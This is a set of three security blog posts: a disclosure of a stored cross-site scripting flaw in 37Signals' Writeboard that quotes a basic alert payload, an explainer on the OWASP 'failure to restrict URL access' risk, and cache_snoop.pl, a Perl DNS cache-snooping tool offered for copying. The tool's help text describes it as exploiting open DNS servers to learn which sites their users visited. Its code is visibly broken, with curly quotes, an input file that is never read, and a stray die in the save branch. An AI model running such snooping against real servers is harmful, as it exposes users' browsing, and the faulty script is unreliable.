Cross-Site Scripting in 37Signals Writeboard Application

Posted by Brett Hardin on 3rd February 2010

Reading time: 3 – 4 minutes

Cross Site Scripting in 37Signals Writeboard Application

Photo: jurvetson

While recently using Basecamp, a 37Signals product, I was writing a collaborative document using Writeboard and noticed that I could insert greater than (<) and less than ( > ) tags in the document.

Writeboard uses a simpler form of editing, similar to wiki’s. If you want to make the line bold, you can use *bold* instead of standard HTML, <b>bold</b>. However, Writeboard allows the user to markup the text either way. Well, this was a product that I needed to QA. I quickly inserted a script source tag, saved the Writeboard, and to my surprise, the script src tag fired.

Upon identifying this I then attempted Cross-Site Scripting 101: <script> alert (123) </script>

That also was successful! I was rather blown away that a product who is used by, Adidas, National Geographic, Kellogg, and USA Today, has never tested (or accidental) found this functionality.

I reached out to the security team at 37Signals, and the issue has been fixed and I have been given a nice shout out on the security page.

I initially thought, “This is what happens when start-ups attempt to rush products to market without doing sanity checking on what they are doing.”

However, upon further research, I read the excellent “book” Get Real by Jason Fried the Founder of 37Signals.  These essays explained why this type of vulnerability lived in this system. 37Signals follows a process of quick deployment, development, with fast subsequent revisions. Their concept is get a product out that people can immediately begin using.

XSS in 37Signals WriteBoard product

Cross-Site Scripting in 37Signals

While I agree, this is a great way to develop SaaS products, it is difficult to see how security can come into play with this type of software delivery model. In one essay, Fried, explains the necessity of getting well rounded individuals (generalists) and avoid hiring specialists. Does this mean more software developers should be interested in security?

This is yet to be seen, and I think it is dependent upon your product. There is something however that other companies can learn from 37Signals.

37 Signals did the following when it came to me finding this bug:

  • I initially reached out to Jason Fried on Twitter, and he got back to me in less than an hour.
  • They had a simple way for me to contact them.
  • After reaching out to them, they immediately acknowledged the receiving of my message.
  • They fixed the issue in 4 days.

I commend 37Signals for fixing the issue as fast as they did. Typically, when these issues are reported to companies, they are typically forwarded to the trash.

3Feb

Failure to Restrict URL Access

Posted by Brett Hardin on 19th November 2009

Reading time: 2 – 4 minutes

Photo: malik ml williams

Photo: malik ml williams

This is the last-part in a ten-part-series describing the OWASP Top 10. (See the entire OWASP Top 10)

What is the problem with Failing to Restrict URL Access

A common problem in web applications, failing to restrict URL access typically happens when a page doesn’t have the correct access control policy in place. Unauthorized users are able to view content that they shouldn’t have the ability to view.

Having these vulnerabilities in your application exposes privileged functionality to unauthorized users. It can also create a problem with your record trails. If users can access records without being authenticated the chain of custody is completely broken, preventing good auditing from taking place.

Failing to restrict URL access can also lead to problems with bypassing session management, another of the OWASP Top 10.

An Example of Failing to Restrict URL Access

Developers attempting to hide functionality from a user by creating “hidden” pages can create a failure to restrict URL access situation.

Hidden pages are defined as pages that don’t have a link pointing to them, preventing web crawlers, such as Google, from indexing them. Some developers believe that these pages will never be found by anyone who doesn’t know the exact URL. However, attackers typically find these pages through forceful browsing and the access controls on these pages tend to not be restrictive.

Another example of a page that can have this type of vulnerability is one where all of the privileges are checked client side but not server side. Attackers using personal proxies can bypass these client-side privileges and access functionality not intended for them to access.

How Do You Restrict URL Access

Most of these problems arise from a change in policy happening on paper, but not being implemented thoroughly across the application.

Restricting URL access correctly takes careful planning by the developer and the supporting organization. Organizations can follow some simple rules that will help them in preventing this vulnerability.

  • Developers should never assume users will be unaware of hidden functionality.
  • Administrators should block access to all file types that the application doesn’t serve.
  • Architects should develop an access control matrix, helping them to prevent unauthorized users from accessing authorized content. This should be done for every URL and business function of the application.
19Nov

Cache_Snoop.pl

Posted by Brett Hardin on 28th October 2009

Reading time: 4 – 6 minutes

Photo: Tim Caynes

Photo: Tim Caynes

In the book, Hacking: The Next Generation, I cover a topic referred to as DNS cache snooping. Cache snooping is not a new attack and has been around for quite a while [PDF]. However, I couldn’t find a good piece of code that would interrogate DNS servers, so I created code to do it.

I put it in Appendix B in the book, but figured it would be nice to have some place to copy & paste it.

Let me know if you have any questions or comments. Have Fun!

Cache_Snoop.pl

#!/usr/bin/perl
# cache_snoop.pl
# Developed by: Brett Hardin
$version = “1.0″;
use Getopt::Long;

my $options = GetOptions (
“help” => \$help,
“save” => \$save,
“dns=s” => \$dns_server,
“ttl” => \$ttl_option,
“queries=s” => \$queries
);

if($help ne “”) { &Help; }
if($dns_server eq “”) { die “Usage: cache_snoop.pl -dns -queries \n”; }
open(FILE, $queries) or die “Usage: cache_snoop.pl -dns -queries \n”;

@sites;

#FIRST RUN IS FOR FINDING OUT DEFUALT TTL
if($ttl_option ne “”) {
print “Finding Default TTL’s…\n”;
&default_TTL;
}

for $site (@sites) {
chomp($site);
$default_TTL = $TTL_list{$site};

if($site =~ /^\#/) { print $site . “\n”; next; }
if($site =~ /^$/) { print “\n”; next;}

$results = `dig \@$dns_server $site A +norecurse`;

if ($results =~ /ANSWER: 0,/) {
print “[NO] ” . $site . ” not visited\n”;
}
else {
@edited_result = split(/\n/, $results);
@greped_result = grep(/^$site\./, @edited_result);
@A_Broke = split(/\s+/, $greped_result[0]);
$TTL = $A_Broke[1];

print “[YES] ” . $site . ” ($TTL”;
if($ttl_option ne “”) {
&timeLeft;
print “/$default_TTL) – Initial Request was made: $LAST_VISITED\n”;
}
else { print ” TTL)\n”; }

if($save ne “”) {
print $results; die;
open(OUTPUT, “>$site.DNS.txt”);
print OUTPUT $results;
close(OUTPUT);
}
}
}

sub timeLeft{
$seconds = ($default_TTL – $TTL);
@parts = gmtime($seconds);
$LAST_VISITED = “$parts[7]d $parts[2]h $parts[1]m $parts[0]s”;
}

sub default_TTL {
# This function returns the default TTL
# To do this, you need to find the DNS server from the root DNS server
# then query that DNS server for the site you are looking for, it will return the default TTL
%DNS_list = ();
%TTL_list = ();

# Find the NS for the site
for $site (@sites) {
if($site =~ /^\#/) { next; }
if($site =~ /^$/) { next;}

chomp($site);

#QUERY the TLD domain
$query_result_1 = `dig \@a.gtld-servers.net $site`;
@edited_query_1 = split(/\n/, $query_result_1);
$found = 0;

# Find the DNS server
for $each (@edited_query_1) {
if ($found == 1) {
@A_Broke = split(/\s+/, $each);
$root_DNS = $A_Broke[0];
last;
}
if($each =~ /ADDITIONAL SECTION:/) { $found = 1; }
}
$DNS_list{$site} = $root_DNS;
}
print “Done with Name Server lookup…\n”;;

# Find the TTL from the default NS server.
foreach $site (sort keys %DNS_list) {
#print “$site: $DNS_list{$site}\n”;
$DNS_SERVER = $DNS_list{$site};

#QUERY the TLD domain
$query_result_2 = `dig \@$DNS_SERVER $site`;

@edited_query_2 = split(/\n/, $query_result_2);
$found = 0;

# Find the DNS server
for $each (@edited_query_2) {
if ($found == 1) {
@A_Broke = split(/\s+/, $each);
$default_TTL = $A_Broke[1];
last;
}
if($each =~ /ANSWER SECTION:/) { $found = 1; }
}
#print $site . ” default TTL: $default_TTL\n”;
$TTL_list{$site} = $default_TTL;
}
print “Done with TTL lookups…\n”;

foreach $site (sort keys %TTL_list) {
print “$site – $TTL_list{$site}\n”;
}
}

sub Help {
print “\n”;
print “#################################\n”;
print “# #\n”;
print “# cache_snoop.pl v$version #\n”;
print “# #\n”;
print “#################################\n\n”;
print “usage: $0 -dns -queries \n”;
print “\n”;
print “purpose: Exploit a DNS server that allows 3rd party queries to determine what sites\n”;
print ” the DNS servers users have been going to.\n”;
print “\n”;
print ” Options:\n\n”;
print ” -help What your looking at.\n”;
print ” -dns [required] DNS server susceptible to 3rd party queries\n”;
print ” -queries file with the queries you would like to make [Default: queries.txt]\n”;
print ” -save Save the DNS responses that are received to individual text files.\n”;
print ” -ttl Will lookup the default TTL’s and comparing them with what the server has.\n”;
print “\n”;
print “Sample Output:\n”;
print “[NO] fidelity.com not visited\n”;
print “[YES] finance.google.com (165020) visited\n”;
print “[Visited] site (TTL)\n”;
print “\n\n”;
exit;
}

28Oct